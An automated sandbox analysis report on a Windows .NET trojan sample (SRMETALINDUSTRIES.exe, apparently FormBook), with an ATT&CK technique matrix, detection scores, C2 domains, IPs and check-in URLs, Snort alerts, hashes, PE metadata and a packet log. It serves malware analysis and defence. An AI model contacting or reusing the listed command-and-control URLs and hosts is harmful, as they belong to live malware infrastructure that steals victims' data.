Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Process Discovery2	Remote Desktop Protocol	Archive Collected Data11	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion31	Security Account Manager	Virtualization/Sandbox Evasion31	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection612	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information11	LSA Secrets	System Information Discovery112	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information4	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Software Packing13	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Timestomp1	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	File Deletion1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SRMETALINDUSTRIES.exe	20%	ReversingLabs	ByteCode-MSIL.Trojan.Barys
SRMETALINDUSTRIES.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
4.2.SRMETALINDUSTRIES.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://www.domainnameshop.com/	0%	Avira URL Cloud	safe
https://www.domainnameshop.com/whois?currency=SEK&lang=sv	0%	Avira URL Cloud	safe
http://www.ifbrick.com/n58i/?fD=F+G31dedRh6HLTd+ecIv/qGaPc+OF0rVpdWlg5lJjBXzRtzoveZeEYo5TUAR7GVYQJUOwMAABw==&7nVT9d=P6AhC8Yh4LuLMhK0	0%	Avira URL Cloud	safe
http://www.nordicbatterybelt.net/n58i/?7nVT9d=P6AhC8Yh4LuLMhK0&fD=M2+dNbjF68Ecx6/kG0IjEvERphPYwrhl5ASQUZVNwgXuLMQcMfVPa3ABQDdZS66N8pSyWuXUWw==	0%	Avira URL Cloud	safe
http://www.starworks.online/n58i/?fD=PUNHIxjtOSFwkEXuacN/093UMB3LWAmrPV2Rldw+lO4ozANnbCtjpuKVlOTMjGDvzMsTPi3I2g==&7nVT9d=P6AhC8Yh4LuLMhK0	0%	Avira URL Cloud	safe
www.nordicbatterybelt.net/n58i/	0%	Avira URL Cloud	safe
https://www.domainnameshop.com/whois	0%	Avira URL Cloud	safe
http://www.integrity.directory/n58i/?7nVT9d=P6AhC8Yh4LuLMhK0&fD=unnhyE6s8wGaSGOfJAqqywl5AWsKat8KABC8TJyOz0JlXUzqDPtAwNp8gBEuIS9Csn5pfDFizQ==	0%	Avira URL Cloud	safe
http://www.sashaignatenko.com/n58i/?7nVT9d=P6AhC8Yh4LuLMhK0&fD=IQPyE+VrRvak8LK8nAdRdA+GXS2RT8iR9v4gvsbeLz4LfgOhT+qf8KqQA9G0pMp8GxoQ9RLGrw==	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.nordicbatterybelt.net	185.134.245.113	true	true	unknown
www.zmdhysm.com	154.64.44.142	true	false	unknown
www.integrity.directory	44.227.65.245	true	true	unknown
menramen.com	180.235.151.100	true	true	unknown
www.ifbrick.com	165.73.84.33	true	true	unknown
ladi-dns-ssl-nlb-prod-4-5fac4e17b8b8295e.elb.ap-southeast-1.amazonaws.com	13.250.255.10	true	false	high
sashaignatenko.com	185.215.4.13	true	true	unknown
www.hisensor.world	unknown	unknown	true	unknown
www.menramen.com	unknown	unknown	true	unknown
www.advindustry.com	unknown	unknown	true	unknown
www.sashaignatenko.com	unknown	unknown	true	unknown
www.starworks.online	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.ifbrick.com/n58i/?fD=F+G31dedRh6HLTd+ecIv/qGaPc+OF0rVpdWlg5lJjBXzRtzoveZeEYo5TUAR7GVYQJUOwMAABw==&7nVT9d=P6AhC8Yh4LuLMhK0	true	Avira URL Cloud: safe	unknown
http://www.nordicbatterybelt.net/n58i/?7nVT9d=P6AhC8Yh4LuLMhK0&fD=M2+dNbjF68Ecx6/kG0IjEvERphPYwrhl5ASQUZVNwgXuLMQcMfVPa3ABQDdZS66N8pSyWuXUWw==	true	Avira URL Cloud: safe	unknown
http://www.starworks.online/n58i/?fD=PUNHIxjtOSFwkEXuacN/093UMB3LWAmrPV2Rldw+lO4ozANnbCtjpuKVlOTMjGDvzMsTPi3I2g==&7nVT9d=P6AhC8Yh4LuLMhK0	true	Avira URL Cloud: safe	unknown
www.nordicbatterybelt.net/n58i/	true	Avira URL Cloud: safe	low
http://www.integrity.directory/n58i/?7nVT9d=P6AhC8Yh4LuLMhK0&fD=unnhyE6s8wGaSGOfJAqqywl5AWsKat8KABC8TJyOz0JlXUzqDPtAwNp8gBEuIS9Csn5pfDFizQ==	true	Avira URL Cloud: safe	unknown
http://www.sashaignatenko.com/n58i/?7nVT9d=P6AhC8Yh4LuLMhK0&fD=IQPyE+VrRvak8LK8nAdRdA+GXS2RT8iR9v4gvsbeLz4LfgOhT+qf8KqQA9G0pMp8GxoQ9RLGrw==	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000005.00000000.441229219.000000000095C000.00000004.00000020.sdmp	false		high
https://tilda.cc	svchost.exe, 00000009.00000002.614986708.0000000003AB2000.00000004.00020000.sdmp	false		high
https://www.domainnameshop.com/	svchost.exe, 00000009.00000002.614986708.0000000003AB2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.domainnameshop.com/whois?currency=SEK&lang=sv	svchost.exe, 00000009.00000002.614986708.0000000003AB2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.domeneshop.no/whois	svchost.exe, 00000009.00000002.614986708.0000000003AB2000.00000004.00020000.sdmp	false		high
https://www.domainnameshop.com/whois	svchost.exe, 00000009.00000002.614986708.0000000003AB2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.4.13	sashaignatenko.com	Denmark	50129	TVHORADADAES	true
165.73.84.33	www.ifbrick.com	South Africa	37611	AfrihostZA	true
13.250.255.10	ladi-dns-ssl-nlb-prod-4-5fac4e17b8b8295e.elb.ap-southeast-1.amazonaws.com	United States	16509	AMAZON-02US	false
185.134.245.113	www.nordicbatterybelt.net	Norway	12996	DOMENESHOPOsloNorwayNO	true
44.227.65.245	www.integrity.directory	United States	16509	AMAZON-02US	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	483595
Start date:	15.09.2021
Start time:	09:42:07
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 29s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	SRMETALINDUSTRIES.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@7/1@9/5
EGA Information:	Failed
HDC Information:	Successful, ratio: 69.1% (good quality ratio 64.3%) Quality average: 71.2% Quality standard deviation: 31%
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 92.122.145.220, 23.203.67.116, 20.82.210.154, 23.55.161.148, 23.55.161.142, 23.55.161.153, 23.55.161.152, 23.55.161.143, 23.55.161.137, 23.55.161.141, 23.55.161.147, 23.55.161.144, 20.54.110.249, 40.112.88.60, 23.216.77.209, 23.216.77.208, 23.35.236.56, 20.82.209.183 Excluded domains from analysis (whitelisted): store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, cdn.onenote.net.edgekey.net, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, cdn.onenote.net, prod.fs.microsoft.com.akadns.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, e1553.dspg.akamaiedge.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information VT rate limit hit for: /opt/package/joesandbox/database/analysis/483595/sample/SRMETALINDUSTRIES.exe

Simulations

Behavior and APIs

Time	Type	Description
09:43:07	API Interceptor	1x Sleep call for process: SRMETALINDUSTRIES.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
185.134.245.113	Y-20211907-00927735_pdf.exe	Get hash	malicious	Browse	www.bjornadal.info/uisg/?tF=ML04lb7xhZYx&5j3p=ijpPZzbaHpqswGzO9IDjiR3ZgO0IY8lCdEHX90hnfo+miiKxnWc46XtyT8avhaMcoLuh
	00987263554120715_pdf.exe	Get hash	malicious	Browse	www.bjornadal.info/uisg/?iL0llN=ijpPZzbaHpqswGzO9IDjiR3ZgO0IY8lCdEHX90hnfo+miiKxnWc46XtyT/6VxLskysPm&V0=1b_XAVMxthBDxzZ
	Swift copy_9808.exe	Get hash	malicious	Browse	www.hielogram.com/p6nu/?C2JdTP=GwnG2+4Ox+q27cUESZmcj87F8LDwpP64CUxCFnmRgyZ7JM+qKfxBNMNAEaQTgW16Viyh&z6nHM=ITnT9Fg
	EJIMS.exe	Get hash	malicious	Browse	www.arctic-thinking.com/eo5u/?ATRPZLx=yydTUguCIsKUBqex5kw2B9bqR/Tbmi27HEsVkFuXlSNVQzjMEAVLIBKERmZxc8b3054g&3fqHGn=ZlnpMphxFT
	APR SOA---- Worldwide Partner--WWP SC+SHA.PDF.exe	Get hash	malicious	Browse	www.trivesse.online/o86d/?2dqLW0=RXBPDPWx&Sh=EfT1fZ4XBAI8B8lFjECuzLyH8vcwDBWO8j8rpLkPmh4yQ+zcTfmOhiRB11y90XxVAevV
	Financial Results April 21.pptx (9,753K).exe	Get hash	malicious	Browse	www.eiendomsadvokatene.net/tboh/?yrvHSPgX=ifurjOVBbv//NDfC0jTFaWSdJ8grIL0sgHNRQvokJCpwOnIquQkn/Qmuz7SUk/WVwqYj&K8e4v=Ab8TRh10Irv0MPg
	Pd0Tb0v0WW.exe	Get hash	malicious	Browse	www.appexivo.com/iu4d/?jBZ4=nai0PiE1ZI6LgVYNyYhI/SvPFfYDGGwz3NFtmAbMwqVtCuJxJmoPqqdQ/D4EO5hGmBl8&1bz=WXrpCdsXv
	Payment_03262021_jpg.exe	Get hash	malicious	Browse	www.8bitupgrades.com/c8bs/?CR=_DKdKjZ&b6=rCYK2h3daI9iLKwlqGql+neFNq6uaEMs6im2KbEaS7MRsnsGRrLrxjr70kWezIj/WNmY
	MV WAF PASSION.exe	Get hash	malicious	Browse	www.appexivo.com/iu4d/?EZA0pp=nai0PiE1ZI6LgVYNyYhI/SvPFfYDGGwz3NFtmAbMwqVtCuJxJmoPqqdQ/AY+eoB+8mE7&GzrX9=Axo834d
	Zahlung_03242021_png.exe	Get hash	malicious	Browse	www.8bitupgrades.com/c8bs/?w2=MDK0&9rn0Id=rCYK2h3daI9iLKwlqGql+neFNq6uaEMs6im2KbEaS7MRsnsGRrLrxjr70kWezIj/WNmY
	57Db7VS2KO.exe	Get hash	malicious	Browse	www.badstar.net/tmz/?Exl0=soNcoPEoKs/c3JYaXreneZuYDx5TVTPv8pA9M7HUNPC+lj2LTt6w6+c1A2SnPUqMNeJe&0pk=WHnxA2AX6
	imTmqTngvS.exe	Get hash	malicious	Browse	www.badstar.net/tmz/?8p=fdiLulhXj&qFQhSfAp=soNcoPEoKs/c3JYaXreneZuYDx5TVTPv8pA9M7HUNPC+lj2LTt6w6+c1A2encEmPUOJIldnKYw==
	GOLvTSVQTD8nam7.exe	Get hash	malicious	Browse	www.badstar.net/tmz/?u6u0=soNcoPEoKs/c3JYaXreneZuYDx5TVTPv8pA9M7HUNPC+lj2LTt6w6+c1A2SnPUqMNeJe&9rTl7P=xPJpGjT8
	Spisemuligheds4.exe	Get hash	malicious	Browse	www.sandefjordsiliconalley.com/gpb6/?2d=EqzoeepA8esh1pAvenM/kydmrwltihbGhGRyCMC7xU0PDBdRFIVsT21NQR90+Y61XWjx&SBtxlt=lxlHQfw0FrIH
	11INVOICE-424.exe	Get hash	malicious	Browse	www.rykkje.com/pf/?r6i=chA3uRGzsUNIJgxeMb+dI9dpbdiI7tUlatD/6M2sqkmnf0EWoBz/0OUDrUzEx5zxBD1K&X40duf=CXC8gt0Hmftxf

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
www.ifbrick.com	arrival notice.exe	Get hash	malicious	Browse	165.73.84.33

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TVHORADADAES	qLadwVPkMz	Get hash	malicious	Browse	156.67.60.34
	p7Qq8Ln8ci	Get hash	malicious	Browse	156.67.60.40
	5tofauAltQ	Get hash	malicious	Browse	156.67.60.40
AfrihostZA	re2.arm	Get hash	malicious	Browse	169.107.156.36
	re2.arm7	Get hash	malicious	Browse	169.89.231.162
	re2.x86	Get hash	malicious	Browse	169.80.5.202
	jFQ6SEAt26	Get hash	malicious	Browse	169.173.214.123
	jew.x86	Get hash	malicious	Browse	169.25.95.48
	dLxs6bCblA	Get hash	malicious	Browse	169.222.71.96
	arm7	Get hash	malicious	Browse	169.222.46.78
	6ZGab0gD1Y	Get hash	malicious	Browse	169.119.83.192
	RIkJg4Hr71	Get hash	malicious	Browse	169.111.209.239
	OyGRw8uet6	Get hash	malicious	Browse	169.86.25.61
	JJfh1PN87T	Get hash	malicious	Browse	169.125.23.224
	p0zDxJeEqa	Get hash	malicious	Browse	169.94.241.33
	ccvgtVRQBx	Get hash	malicious	Browse	169.210.58.168
	omuCbLDC5Q	Get hash	malicious	Browse	169.102.53.217
	mirai.x86	Get hash	malicious	Browse	169.161.194.174
	arm	Get hash	malicious	Browse	169.200.148.123
	fk8YZet4QU	Get hash	malicious	Browse	169.64.28.240
	4nLik56DrD	Get hash	malicious	Browse	169.94.79.91
	loligang.x86	Get hash	malicious	Browse	169.201.30.148
	frosty.x86	Get hash	malicious	Browse	169.108.151.49

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SRMETALINDUSTRIES.exe.log Download File
Process:	C:\Users\user\Desktop\SRMETALINDUSTRIES.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr
MD5:	FED34146BF2F2FA59DCF8702FCC8232E
SHA1:	B03BFEA175989D989850CF06FE5E7BBF56EAA00A
SHA-256:	123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C
SHA-512:	1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178FF6
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.16194389663395
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	SRMETALINDUSTRIES.exe
File size:	586752
MD5:	51fb6f484b4bc554a7fddb7dc24c994e
SHA1:	6548d2e4c988457deb2a3435220f3252367462f3
SHA256:	4b9ec9143ae2471c8cf540f5e3815c4ca4bb5e073d5c45e6bd934cc0350e8546
SHA512:	703b898725b19590fb833a988a49af207cbb367b508ff58b7c662bd5d6646689276267320d1e915fa7bb8b3201fe43b7b25ec61cf3188c5f5b4ad83c74591aad
SSDEEP:	12288:FWHCM2K4CN9qqlp8VhzlG9lHBxe1/q+t0N0g8TJpG+Q:v3CNvlp8zw3Bx6tbh3G+Q
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....M...............0......Z........... ........@.. .......................@............@................................

File Icon


Icon Hash:	b2b2a9d69264381b

Static PE Info

General
Entrypoint:	0x48b7e6
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0xE74DE4BD [Sat Dec 20 20:02:05 2092 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8b794	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8c000	0x56b4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x92000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x8b778	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x897ec	0x89800	False	0.765200639205	data	7.20192556121	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x8c000	0x56b4	0x5800	False	0.566983309659	data	5.15362916959	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x92000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x8c130	0x5068	data
RT_GROUP_ICON	0x91198	0x14	data
RT_VERSION	0x911ac	0x31c	data
RT_MANIFEST	0x914c8	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2019
Assembly Version	1.0.0.0
InternalName	MemberIn.exe
FileVersion	1.0.0.0
CompanyName
LegalTrademarks
Comments
ProductName	Disciples
ProductVersion	1.0.0.0
FileDescription	Disciples
OriginalFilename	MemberIn.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
09/15/21-09:44:41.151329	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49815	80	192.168.2.6	44.227.65.245
09/15/21-09:44:41.151329	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49815	80	192.168.2.6	44.227.65.245
09/15/21-09:44:41.151329	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49815	80	192.168.2.6	44.227.65.245

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 15, 2021 09:44:34.970698118 CEST	49814	80	192.168.2.6	165.73.84.33
Sep 15, 2021 09:44:35.171269894 CEST	80	49814	165.73.84.33	192.168.2.6
Sep 15, 2021 09:44:35.171380997 CEST	49814	80	192.168.2.6	165.73.84.33
Sep 15, 2021 09:44:35.172030926 CEST	49814	80	192.168.2.6	165.73.84.33
Sep 15, 2021 09:44:35.372771025 CEST	80	49814	165.73.84.33	192.168.2.6
Sep 15, 2021 09:44:35.453573942 CEST	80	49814	165.73.84.33	192.168.2.6
Sep 15, 2021 09:44:35.453694105 CEST	80	49814	165.73.84.33	192.168.2.6
Sep 15, 2021 09:44:35.454065084 CEST	49814	80	192.168.2.6	165.73.84.33
Sep 15, 2021 09:44:35.554866076 CEST	49814	80	192.168.2.6	165.73.84.33
Sep 15, 2021 09:44:35.751426935 CEST	80	49814	165.73.84.33	192.168.2.6
Sep 15, 2021 09:44:40.783463001 CEST	49815	80	192.168.2.6	44.227.65.245
Sep 15, 2021 09:44:40.968214035 CEST	80	49815	44.227.65.245	192.168.2.6
Sep 15, 2021 09:44:40.968688965 CEST	49815	80	192.168.2.6	44.227.65.245
Sep 15, 2021 09:44:41.151092052 CEST	80	49815	44.227.65.245	192.168.2.6
Sep 15, 2021 09:44:41.151329041 CEST	49815	80	192.168.2.6	44.227.65.245
Sep 15, 2021 09:44:41.334264040 CEST	80	49815	44.227.65.245	192.168.2.6
Sep 15, 2021 09:44:41.334300995 CEST	80	49815	44.227.65.245	192.168.2.6
Sep 15, 2021 09:44:41.334311962 CEST	80	49815	44.227.65.245	192.168.2.6
Sep 15, 2021 09:44:41.334873915 CEST	49815	80	192.168.2.6	44.227.65.245
Sep 15, 2021 09:44:41.334923029 CEST	49815	80	192.168.2.6	44.227.65.245
Sep 15, 2021 09:44:41.519753933 CEST	80	49815	44.227.65.245	192.168.2.6
Sep 15, 2021 09:44:51.471229076 CEST	49816	80	192.168.2.6	185.134.245.113
Sep 15, 2021 09:44:51.514172077 CEST	80	49816	185.134.245.113	192.168.2.6
Sep 15, 2021 09:44:51.514600039 CEST	49816	80	192.168.2.6	185.134.245.113
Sep 15, 2021 09:44:51.514826059 CEST	49816	80	192.168.2.6	185.134.245.113
Sep 15, 2021 09:44:51.557595015 CEST	80	49816	185.134.245.113	192.168.2.6
Sep 15, 2021 09:44:51.557627916 CEST	80	49816	185.134.245.113	192.168.2.6
Sep 15, 2021 09:44:51.557651043 CEST	80	49816	185.134.245.113	192.168.2.6
Sep 15, 2021 09:44:51.557672024 CEST	80	49816	185.134.245.113	192.168.2.6
Sep 15, 2021 09:44:51.557692051 CEST	80	49816	185.134.245.113	192.168.2.6
Sep 15, 2021 09:44:51.557707071 CEST	80	49816	185.134.245.113	192.168.2.6
